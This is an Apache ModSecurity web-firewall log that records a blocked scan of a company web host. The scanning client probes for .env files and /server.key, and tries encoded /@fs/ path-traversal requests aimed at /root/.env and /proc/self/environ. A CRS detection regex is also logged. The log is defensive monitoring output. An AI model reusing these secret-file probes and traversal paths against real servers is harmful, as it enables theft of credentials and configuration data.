[Sun Oct 25 16:35:26.672006 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at5oDuawu2hdqh-E8Ti3UgAAAD8"]
[Sun Oct 25 16:35:26.672160 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at5oDuawu2hdqh-E8Ti3UgAAAD8"]
[Sun Oct 25 16:35:26.672375 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.config"] [unique_id "at5oDuawu2hdqh-E8Ti3UgAAAD8"]
[Sun Oct 25 16:35:26.684347 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at5oDoukxjiHll2_888PHQAAAAw"]
[Sun Oct 25 16:35:26.684533 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at5oDoukxjiHll2_888PHQAAAAw"]
[Sun Oct 25 16:35:26.684760 2026] [security2:error] [pid 2897860:tid 2897860] [client 34.47.34.62:56344] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.prod.local"] [unique_id "at5oDoukxjiHll2_888PHQAAAAw"]
[Sun Oct 25 16:35:26.685860 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5oDhP9LBTwM7uyBGcGIAAAAAM"]
[Sun Oct 25 16:35:26.686256 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5oDhP9LBTwM7uyBGcGIAAAAAM"]
[Sun Oct 25 16:35:26.686488 2026] [security2:error] [pid 2897464:tid 2897464] [client 34.47.34.62:56324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/app/.env"] [unique_id "at5oDhP9LBTwM7uyBGcGIAAAAAM"]
[Sun Oct 25 16:35:26.687320 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "recursos2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at5oDsQLj3BHFe0xVVDO5gAAAAU"]
[Sun Oct 25 16:35:26.687588 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at5oDsQLj3BHFe0xVVDO5gAAAAU"]
[Sun Oct 25 16:35:26.687797 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/server.key"] [unique_id "at5oDsQLj3BHFe0xVVDO5gAAAAU"]
[Sun Oct 25 16:35:26.701391 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5oDv3ebQuInVpw1e8OHQAAAAI"]
[Sun Oct 25 16:35:26.701572 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5oDv3ebQuInVpw1e8OHQAAAAI"]
[Sun Oct 25 16:35:26.701789 2026] [security2:error] [pid 2897200:tid 2897200] [client 34.47.34.62:56284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.dev.local"] [unique_id "at5oDv3ebQuInVpw1e8OHQAAAAI"]
[Sun Oct 25 16:35:26.702810 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.keys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5oDmVLMQvPe13-2XNXZAAAAAY"]
[Sun Oct 25 16:35:26.702970 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5oDmVLMQvPe13-2XNXZAAAAAY"]
[Sun Oct 25 16:35:26.703189 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/.env.keys"] [unique_id "at5oDmVLMQvPe13-2XNXZAAAAAY"]
[Sun Oct 25 16:35:26.704188 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252froot/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5oDmFV96rJYXEkIA1oKAAAABk"]
[Sun Oct 25 16:35:26.704257 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5oDmFV96rJYXEkIA1oKAAAABk"]
[Sun Oct 25 16:35:26.704288 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../root/.env?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5oDmFV96rJYXEkIA1oKAAAABk"]
[Sun Oct 25 16:35:26.704338 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5oDmFV96rJYXEkIA1oKAAAABk"]
[Sun Oct 25 16:35:26.704721 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5oDmFV96rJYXEkIA1oKAAAABk"]
[Sun Oct 25 16:35:26.704971 2026] [security2:error] [pid 2889287:tid 2889287] [client 34.47.34.62:56264] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2froot/.env"] [unique_id "at5oDmFV96rJYXEkIA1oKAAAABk"]
[Sun Oct 25 16:35:26.724407 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/var/task/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5oDuawu2hdqh-E8Ti3UwAAAD8"]
[Sun Oct 25 16:35:26.724791 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5oDuawu2hdqh-E8Ti3UwAAAD8"]
[Sun Oct 25 16:35:26.725023 2026] [security2:error] [pid 2889348:tid 2889348] [client 34.47.34.62:56338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/var/task/.env"] [unique_id "at5oDuawu2hdqh-E8Ti3UwAAAD8"]
[Sun Oct 25 16:35:26.726288 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%252f found within REQUEST_URI_RAW: /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5oDsQLj3BHFe0xVVDO5wAAAAU"]
[Sun Oct 25 16:35:26.726362 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5oDsQLj3BHFe0xVVDO5wAAAAU"]
[Sun Oct 25 16:35:26.726393 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /@fs/../../../../../proc/self/environ?raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5oDsQLj3BHFe0xVVDO5wAAAAU"]
[Sun Oct 25 16:35:26.726752 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5oDsQLj3BHFe0xVVDO5wAAAAU"]
[Sun Oct 25 16:35:26.726983 2026] [security2:error] [pid 2885094:tid 2885094] [client 34.47.34.62:56308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/..%2f..%2f..%2f..%2f..%2fproc/self/environ"] [unique_id "at5oDsQLj3BHFe0xVVDO5wAAAAU"]
[Sun Oct 25 16:35:26.736578 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5oDmVLMQvPe13-2XNXZQAAAAY"]
[Sun Oct 25 16:35:26.736975 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5oDmVLMQvPe13-2XNXZQAAAAY"]
[Sun Oct 25 16:35:26.737195 2026] [security2:error] [pid 2897472:tid 2897472] [client 34.47.34.62:56270] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "recursos2.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at5oDmVLMQvPe13-2XNXZQAAAAY"]
